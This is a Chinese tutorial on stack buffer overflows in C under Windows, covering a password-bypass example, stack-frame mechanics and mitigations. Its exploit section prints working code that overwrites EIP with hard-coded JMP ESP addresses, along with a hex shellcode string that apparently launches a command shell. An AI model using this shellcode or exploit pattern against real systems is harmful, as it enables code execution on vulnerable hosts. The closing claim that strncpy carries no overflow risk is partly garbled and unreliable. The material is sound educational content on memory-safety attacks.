1 一个简单溢出的实例

先不说概念和原理,看一个实例:

#include <stdio.h> #include <string.h> #define PASS_WORD "1234567" int verify_password(char * password) { int authentitated; char buffer[8]; authentitated = strcmp(password,PASS_WORD); //如果两个字符串相等,返回值是0 strcpy(buffer,password);//溢出后authentitated为非0 return authentitated; } int main() { int valid_flag = 0; char password[1024] = {0}; while (1) { printf("please input password:"); scanf("%s",password); //如果输入任意的8个字符,最后一个字符会溢出,举出的字符会占用authentitated的空间 valid_flag = verify_password(password); if(valid_flag) { printf("incorrect password!\r\n"); } else { printf("Congratulation ! you have passed the verification !\r\n"); } } return 0; }

以上代码是说输入密码1234567,验证通过,但是因为代码的漏洞,如果输入任意的8个字符,也会验证通过。为什么?

1)main函数输入password,调用verify_password函数验证输入的password是否等于1234567,相等返回0,否则返回1。

2)strcpy函数存在不检查输入数据的长度的漏洞。

3)利用缓冲区溢出,修改authentitated值,完成验证。

在verify_password栈帧中:

----------------- | buffer | ----------------- | authenticated | ----------------- | EBP | -----------------

authenticated位于buffer[8]的下方。

authenticated是int型,在内存中占4个字节。

buffer[8]占8个字节。

控制buffer[]填满8个字节,然后越界1个字节,缓冲区溢出,使得原authenticated的1覆盖为0,返回通过。

2 缓冲区和缓冲区溢出

2.1 缓冲区

缓冲区就是应用程序用来保存用户输入输出的数据、临时存放数据的内存空间。

2.2 缓冲区溢出

如果用户输入的数据长度超出了程序为其分配的内存空间,这些数据就会覆盖程序为其它数据分配的内存空间,形成缓冲区溢出。如果程序存在缓冲区溢出的漏洞,用户向程序传递一个走出其长度的字符串时,如果不是刻意构造的字符串,一般只会出现分段错误Segmentation fault),而不能达到攻击的目的。 如果攻击者通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有 root权限 的shell,可以对系统进行任意操作了。

缓冲区溢出主要可以分成三种:静态数据溢出、栈溢出和堆溢出。产生这三种不同的溢出根源在于win的内存结构;windows会把4G内存分成代码区、数据区、堆区、栈区。数据区存储的是进程的全局变量。如果利用这里的数据进行缓冲区溢出那么就被称为静态数据溢出。同样利用栈区和堆区进行缓冲区溢出,则相应被称作栈溢出和堆溢出。静态数据溢出虽然技术难度低但是灵活性和可以利用范围低,所以本文就不介绍了。堆溢出相对复杂,将在别的文章介绍。本文介绍的是windows下的栈溢出,想要知道WINDOWS下的栈溢出如何利用,首先要理解windows下的栈结构。

3 函数调用与栈机制

程序代码及数据在内存中的映像:

c语言双缓冲(缓冲区溢出的简单实例与原理分析)(1)

在C语言中,函数不能嵌套定义,但可以嵌套调用,当嵌套调用时,如何正确回溯到最初始调用点呢?(正如你去一个陌生的地方,经过了n个岔路口,如何回到原点呢?)C编译器利用栈这个机制来确保正确的回溯。

3.1 栈

栈其实是一种数据结构,它遵从先进后出的原则。这个先进后出的意思也很简单,就是说先存储进去的数据,会被放在最里边,而后面存入的,则依次向外,所以最先进去的,最后才能出来。进出都是同一个出口。

形象一点说,就好比箱子放书,最先放进去的书总在最下面,而后面的书叠在上面。想要去最底层的书,就必须吧上面的书取出来。

1)栈是一块连续的内存空间

a 先入后出;

b 生长方向与内存的生长方向正好相反, 从高地址向低地址生长;

2) 每一个线程有自己的栈

a 提供一个暂时存放数据的区域

3) 使用 POP / PUSH 指令来对栈进行操作

c语言双缓冲(缓冲区溢出的简单实例与原理分析)(2)

4) 使用 ESP 寄存器指向栈顶,EBP 指向栈帧底

3.2 栈内容

1)函数的参数;

2) 函数返回地址;

3)EBP 的值;

4)一些通用寄存器 ( EDI , ESI … ) 的值;

5)当前正在执行的函数的局部变量;

3.3 三个重要的寄存器

1SP ( ESP )

即栈顶指针,随着数据入栈出栈而发生变化。

2BP ( EBP )

即基地址指针,用于标识栈中一个相对稳定的位置。通过 BP ,可以方便地引用函数参数以及局部变量。

3IP ( EIP )

即指令寄存器,在将某个函数的栈帧压入栈中时,其中就包含当前的 IP 值,即函数调用返回后下一个执行语句的地址。缓冲区溢出攻击就是要利用溢出来修改EIP的地址值。

3.4 函数调用过程

1)把参数压入栈;

2)保存指令寄存器中的内容,作为返回地址;

3)放入堆栈当前的基址寄存器;

4)把当前的栈指针 ( ESP )拷贝到基址寄存器,作为新的基地址;

5)为本地变量留出一定空间,把 ESP 减去适当的数值;

3.5 函数调用中栈的工作过程

1)调用函数前压入栈

a 上级函数传给函数的参数;

b 返回地址 ( EIP );

c 当前的 EBP;

d 函数的局部变量;

2)调用函数后

a 弹出各局部变量值;

a 恢复 EBP;

b 恢复 EIP;

看下面实例:

#include <stdio.h> #include <stdlib.h> #include <string.h> int BFunc(int i,int j) { int m = 1; int n = 2; m = i; n = j; return m; } int AFunc(int i,int j) { int m = 3; int n = 4; char szBuf[8] = {0}; printf("%d,%d\n",n,m); char bufof[]="12345678nnnnmmmm"; strcpy(szBuf,bufof); printf("%d,%d\n",n,m); m = i;n = j; BFunc(m,n); return 8; } int main() { AFunc(5,6); system("pause"); return 0; } /* 4,3 1852730990,1835887981 */

c语言双缓冲(缓冲区溢出的简单实例与原理分析)(3)

以上bufofsfug[]溢出的8个字节的长度将邻近的两个变量覆盖掉了。如果其长度超过16个字符以后,会提示出错,为什么,因为它要以不正确的值来覆盖ESP、EIP的值。如果巧妙得以一个合法的值来覆盖EBP、EIP,会怎样呢?

4 栈缓冲区溢出的利用

可以利用覆盖EIP的值为JMP ESP来跳转到我们的ESP指针所指向的地址。

JMP ESP的值是不确定的,当然有些版本是固定的。

这里JMP ESP的地址,会由于操作系统版本的不同而不一样。比如在Win2000的User32.dll中,JMP ESP指令的地址分别为:sp0:0x77e2e32a、sp1:0x77e8898b、sp2:0x77e0492b、sp3:0x77e188a7、sp4:0x77e22c75。以前很多攻击利用程序需要带上对方版本的参数,就是这个原因。win7可以利用0x7ffa4512这个地址。

#include "stdio.h" #include "string.h" #include "stdlib.h" #include "windows.h" char exp[] = "abcdefss" //充8字节把缓冲区填满 "AAAA" //ebp填掉 "\x05\x10\x40\x00"; //func()函数地址,EIP覆盖成jmp esp的地址 //\x12\x45\xfa\x7f""; //也可以使用这个地址 void func(){ MessageBoxA(0, "Buffer overflow attck!", "hack", 0); } int main() { char output[8]; strcpy(output,exp); int i=0; for(i=0;i<8&&output[i];i ) printf("\\0x%x",output[i]); printf("\n"); return 0; }

也可以使用下面的方式:

#include "stdio.h" #include "string.h" #include "windows.h" void func(){ MessageBoxA(0, "Buffer overflow attck!", "hack", 0); } int main() { char output[8] = {0}; //int * 取地址,(int)强制转为int *(int *)((int)output 12) = (int)(int *) (func); return 0; }

一段代码可以可以伪装成一个字符串,称为shellcode:

#include <stdio.h> #include <string.h> char name[] = "\x41\x41\x41\x41" "\x41\x41\x41\x41" //这里填充8字节把缓冲区填满 "\x41\x41\x41\x41" //ebp填掉 "\x12\x45\xfa\x7f" //eip覆盖成jmp esp的地址,这个是sp3下的地址 "\x55\x8B\xEC\x33\xC0\x50\x50\x50" //这里开始就是shellcode "\xC6\x45\xF4\x4D" "\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56" "\xC6\x45\xF7\x43" "\xC6\x45\xF8\x52" "\xC6\x45\xF9\x54" "\xC6\x45\xFA\x2E" "\xC6\x45\xFB\x44" "\xC6\x45\xFC\x4C" "\xC6\x45\xFD\x4C" "\x8D\x45\xF4\x50\xBA\x7B\x1D\x80\x7C\xFF\xD2" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D" "\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22" "\x89\x45\xFC\x33\xD2\x88\x55\xFF" "\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0"; int main() { char output[8]; strcpy(output, name); for(int i=0;i<8&&output[i];i ) printf("\\0x%x",output[i]); return 0; }

windows系统(xp sp2及win7以后)都内置了许多保护机制:

- Stack cookies (/GS Switch cookie)

- Safeseh (/Safeseh compiler switch)

- Data Execution Prevention (DEP) (software and hardware based)

- Address Space Layout Randomization (ASLR)

5 缓冲区溢出漏洞分析

C标准库<string.h>中的strcpy()是依据源串的\0作为结束判断的,不检查copy的Buffer的Size,如果目标空间不够,就有BufferOverflow问题。

目前,strncpy是字符串拷贝推荐的用法。

strncpy的原型为:

char * strncpy(char *dest, char *src, size_t n);

其将字符串src中最多n个字符复制到字符数组dest中(它并不像strcpy一样遇到NULL才停止复制,而是等凑够n个字符才开始复制),返回指向dest的指针,所以,用户定义好size,就没有bufferoverfolow的风险。

加_s版本则是从VS2005开始推出的安全版本,

而加_s版本之所以安全,是因为他们在接口增加了一个参数numElems来表明dest中的字节数,防止目标指针dest中的空间不够而导致出现Bug,同时返回值改成返回错误代码,而不是为了一些所谓的方便而返回char*。这样接口的定义就比原来安全很多。

但是,_s版本并不是标准库,所以,不推荐使用。

C标准库<string.h>中的还有一个memcpy()函数来进行数据的复制。

原型:extern void *memcpy(void *dest, void *src, unsigned int count);

功能:由src所指内存区域复制count个字节到dest所指内存区域。

说明:src和dest所指内存区域不能重叠,函数返回指向dest的指针。

由于字符串是以零结尾的,所以对于在数据中包含零的数据只能用memcpy。

性能上它们不一定有多大差别。

-End-

,